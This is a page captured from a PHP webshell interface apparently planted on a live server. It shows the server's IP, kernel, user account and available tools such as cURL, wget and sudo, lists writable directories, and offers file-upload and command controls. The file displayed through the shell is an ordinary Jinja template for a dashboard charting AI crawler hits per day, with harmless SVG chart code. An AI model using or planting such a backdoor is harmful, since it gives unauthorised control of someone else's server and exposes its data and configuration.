403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/698958/task/698958/cwd/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/698958/task/698958/cwd/templates/trend.html
{% extends "base.html" %}
{% from "_filters.html" import filter_bar with context %}
{% block title %}URL trend{% endblock %}
{% block body %}

<div class="card">
  {{ filter_bar(detailed=True, all_sites=all_sites, platforms_by_group=platforms_by_group,
                site=site, platform=platform, url_query=url_query) }}
  <p class="muted" style="margin:12px 0 0; font-size:12px;">
    Daily AI crawler hits on
    {% if url_query %}URLs containing <code>{{ url_query }}</code>{% else %}any URL{% endif %}
    {%- if site %} on {{ site }}{% endif %}
    {%- if platform %} by {{ platform }}{% endif %}.
    Type a URL fragment (e.g. <code>/dog-bite/</code>) to watch one page or section;
    leave it empty for the whole picture. Optimised a page recently? Set the range
    to straddle the change and see whether AI traffic picked up.
  </p>
</div>

{% if not days %}
<div class="card"><div class="empty">
  No data in that range. Data runs {{ dates[-1] }} to {{ dates[0] }}.
</div></div>
{% else %}

{% if missing %}
  <div class="note" style="margin-bottom:16px;">
    {{ missing|length }} day{{ '' if missing|length == 1 else 's' }} in this range
    ({{ missing|join(', ') }}) ha{{ 's' if missing|length == 1 else 've' }} no
    trend data yet (parsed before trend tracking existed). Shown as 0.
  </div>
{% endif %}

<div class="card">
  <h2>
    {{ total|commafy }} matching hit{{ '' if total == 1 else 's' }}
    across {{ days|length }} day{{ '' if days|length == 1 else 's' }}
    {%- if not include_search %} &middot; AI only{% endif %}
    {%- if content_only %} &middot; content pages{% endif %}
  </h2>

  {% if total == 0 %}
    <div class="empty">No hits match these filters in this range.</div>
  {% else %}
  <div id="trendchart" style="position:relative;"></div>
  {% endif %}
</div>

{% if total %}
<div class="card">
  <div class="tablebar">
    <h2>Hits per day</h2>
    <span class="count">{{ days|length }} days</span>
  </div>
  <table style="max-width:640px;">
    <thead><tr>
      <th>Date</th><th class="num">Hits</th><th style="width:220px"></th>
    </tr></thead>
    <tbody>
      {% for day, hits in per_day %}
      <tr class="{{ 'zero' if not hits }}">
        <td style="font-variant-numeric:tabular-nums;">{{ day }}</td>
        <td class="num">{{ hits|commafy }}</td>
        <td><div class="bar" style="width:{{ (hits / peak * 100)|round(1) if peak else 0 }}%"></div></td>
      </tr>
      {% endfor %}
    </tbody>
  </table>
</div>

<div class="card">
  <div class="tablebar">
    <h2>Top matching URLs</h2>
    <span class="count">across the whole range</span>
  </div>
  <table>
    <thead><tr><th>URL</th><th class="num">Hits</th><th></th></tr></thead>
    <tbody>
      {% for url, hits in top_urls %}
      <tr>
        <td class="url">{{ url }}</td>
        <td class="num">{{ hits|commafy }}</td>
        <td><a href="{{ url_for('detail', **keep(q=url)) }}">View hits <span class="arrow">&#8599;</span></a></td>
      </tr>
      {% endfor %}
    </tbody>
  </table>
</div>

<div class="card">
  <h2>By AI platform (matching hits)</h2>
  <table style="max-width:640px;">
    <thead><tr><th>Bot</th><th class="num">Hits</th><th class="num">Share</th></tr></thead>
    <tbody>
      {% for plat, hits in platform_rows %}
      <tr>
        <td><span class="rowline"><strong>{{ plat }}</strong>
          <i class="info" data-tip="{{ plat }} &mdash; {{ bot_info(plat) }}">i</i></span></td>
        <td class="num">{{ hits|commafy }}</td>
        <td class="num muted">{{ '%.1f'|format(hits / total * 100) }}%</td>
      </tr>
      {% endfor %}
    </tbody>
  </table>
</div>

<script>
(function () {
  /* Line chart, drawn to the card's real pixel width so text never scales.
     Specs follow the house dataviz rules: 2px line with round joins, a 10%
     area wash, hairline solid gridlines, an 8px end-dot with a 2px surface
     ring, one direct label at the endpoint, and a crosshair + tooltip that
     snaps to the nearest day (nobody can aim at a 2px line). Single series,
     so no legend: the card's heading says what is plotted. */
  var DATA = {{ per_day|tojson }};
  var mount = document.getElementById('trendchart');
  if (!mount || !DATA.length) return;

  var INK = '#16191d', MUTED = '#667085', LINE = '#e3e6ea',
      SERIES = '#0077aa', SURFACE = '#ffffff';
  var H = 280, PAD = {top: 18, right: 56, bottom: 28, left: 52};
  var NS = 'http://www.w3.org/2000/svg';

  function el(name, attrs, parent) {
    var n = document.createElementNS(NS, name);
    for (var k in attrs) n.setAttribute(k, attrs[k]);
    if (parent) parent.appendChild(n);
    return n;
  }
  function fmt(n) { return n.toLocaleString('en-US'); }

  /* Gridline step from the 1/2/5 ladder, sized for ~4 lines; the axis tops out
     at the first step at or above the max, so the data always fills most of
     the plot instead of floating in the bottom half of a too-tall scale. */
  function gridStep(m) {
    if (m <= 4) return 1;
    var raw = m / 4;
    var pow = Math.pow(10, Math.floor(Math.log10(raw)));
    var ladder = [1, 2, 5, 10];
    for (var i = 0; i < ladder.length; i++) {
      if (ladder[i] * pow >= raw) return ladder[i] * pow;
    }
    return 10 * pow;
  }

  var tip = document.createElement('div');
  tip.style.cssText = 'position:absolute; display:none; pointer-events:none;' +
    'background:#16191d; color:#fff; padding:7px 10px; border-radius:7px;' +
    'font-size:12px; line-height:1.4; white-space:nowrap; z-index:10;' +
    'box-shadow:0 6px 18px rgba(0,0,0,.22);';
  var tipVal = document.createElement('div');
  tipVal.style.cssText = 'font-weight:700; font-size:13px;';
  var tipDay = document.createElement('div');
  tipDay.style.cssText = 'color:#c6cbd2;';
  tip.appendChild(tipVal); tip.appendChild(tipDay);
  mount.appendChild(tip);

  function draw() {
    var old = mount.querySelector('svg');
    if (old) old.remove();

    var W = Math.max(320, mount.clientWidth);
    var svg = el('svg', {width: W, height: H, role: 'img',
                         'aria-label': 'Matching hits per day'}, mount);

    var innerW = W - PAD.left - PAD.right, innerH = H - PAD.top - PAD.bottom;
    var peak = Math.max.apply(null, DATA.map(function (d) { return d[1]; }));
    var step = gridStep(peak);
    var max = Math.max(step, Math.ceil(peak / step) * step);
    var x = function (i) {
      return PAD.left + (DATA.length === 1 ? innerW / 2 : i * innerW / (DATA.length - 1));
    };
    var y = function (v) { return PAD.top + innerH * (1 - v / max); };

    /* Gridlines + y ticks at each step: hairline, recessive. */
    for (var val = 0; val <= max; val += step) {
      var gy = y(val);
      el('line', {x1: PAD.left, x2: W - PAD.right, y1: gy, y2: gy,
                  stroke: LINE, 'stroke-width': 1}, svg);
      el('text', {x: PAD.left - 8, y: gy + 4, 'text-anchor': 'end', fill: MUTED,
                  'font-size': 11}, svg).textContent = fmt(Math.round(val));
    }

    /* X ticks: about six, always including the first and last day. */
    var step = Math.max(1, Math.ceil((DATA.length - 1) / 5));
    for (var i = 0; i < DATA.length; i += step) {
      var last = i + step >= DATA.length;
      var ti = last ? DATA.length - 1 : i;
      el('text', {x: x(ti), y: H - 8, 'text-anchor': 'middle', fill: MUTED,
                  'font-size': 11}, svg).textContent = DATA[ti][0].slice(5);
      if (last) break;
    }

    var pts = DATA.map(function (d, i) { return [x(i), y(d[1])]; });
    if (DATA.length > 1) {
      var path = pts.map(function (p, i) {
        return (i ? 'L' : 'M') + p[0].toFixed(1) + ' ' + p[1].toFixed(1);
      }).join('');
      el('path', {d: path + 'L' + pts[pts.length - 1][0].toFixed(1) + ' ' + (PAD.top + innerH) +
                     'L' + pts[0][0].toFixed(1) + ' ' + (PAD.top + innerH) + 'Z',
                  fill: SERIES, opacity: 0.1}, svg);
      el('path', {d: path, fill: 'none', stroke: SERIES, 'stroke-width': 2,
                  'stroke-linejoin': 'round', 'stroke-linecap': 'round'}, svg);
    }

    /* Endpoint: ringed dot + the one direct label. */
    var endI = DATA.length - 1;
    el('circle', {cx: pts[endI][0], cy: pts[endI][1], r: 6, fill: SURFACE}, svg);
    el('circle', {cx: pts[endI][0], cy: pts[endI][1], r: 4, fill: SERIES}, svg);
    el('text', {x: pts[endI][0] + 10, y: pts[endI][1] + 4, fill: INK,
                'font-size': 12, 'font-weight': 700}, svg).textContent = fmt(DATA[endI][1]);

    /* Crosshair + hover dot, hidden until the pointer arrives. */
    var hair = el('line', {y1: PAD.top, y2: PAD.top + innerH, stroke: '#98a2b3',
                           'stroke-width': 1, visibility: 'hidden'}, svg);
    var hoverRing = el('circle', {r: 6, fill: SURFACE, visibility: 'hidden'}, svg);
    var hoverDot = el('circle', {r: 4, fill: SERIES, visibility: 'hidden'}, svg);

    function showAt(i) {
      var px = pts[i][0], py = pts[i][1];
      hair.setAttribute('x1', px); hair.setAttribute('x2', px);
      hair.setAttribute('visibility', 'visible');
      hoverRing.setAttribute('cx', px); hoverRing.setAttribute('cy', py);
      hoverRing.setAttribute('visibility', 'visible');
      hoverDot.setAttribute('cx', px); hoverDot.setAttribute('cy', py);
      hoverDot.setAttribute('visibility', 'visible');
      tipVal.textContent = fmt(DATA[i][1]) + ' hit' + (DATA[i][1] === 1 ? '' : 's');
      tipDay.textContent = DATA[i][0];
      tip.style.display = 'block';
      var left = px + 14;
      if (left + tip.offsetWidth > W - 4) left = px - tip.offsetWidth - 14;
      tip.style.left = left + 'px';
      tip.style.top = Math.max(0, py - tip.offsetHeight - 6) + 'px';
    }
    function hide() {
      hair.setAttribute('visibility', 'hidden');
      hoverRing.setAttribute('visibility', 'hidden');
      hoverDot.setAttribute('visibility', 'hidden');
      tip.style.display = 'none';
    }

    /* The whole plot is the hit target; the crosshair snaps to the nearest day. */
    var overlay = el('rect', {x: PAD.left, y: PAD.top, width: innerW, height: innerH,
                              fill: 'transparent'}, svg);
    overlay.addEventListener('pointermove', function (ev) {
      var box = svg.getBoundingClientRect();
      var mx = ev.clientX - box.left;
      var i = DATA.length === 1 ? 0 :
        Math.round((mx - PAD.left) / (innerW / (DATA.length - 1)));
      showAt(Math.min(DATA.length - 1, Math.max(0, i)));
    });
    overlay.addEventListener('pointerleave', hide);
  }

  draw();
  var timer = null;
  window.addEventListener('resize', function () {
    clearTimeout(timer); timer = setTimeout(draw, 120);
  });
})();
</script>
{% endif %}

{% endif %}
{% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit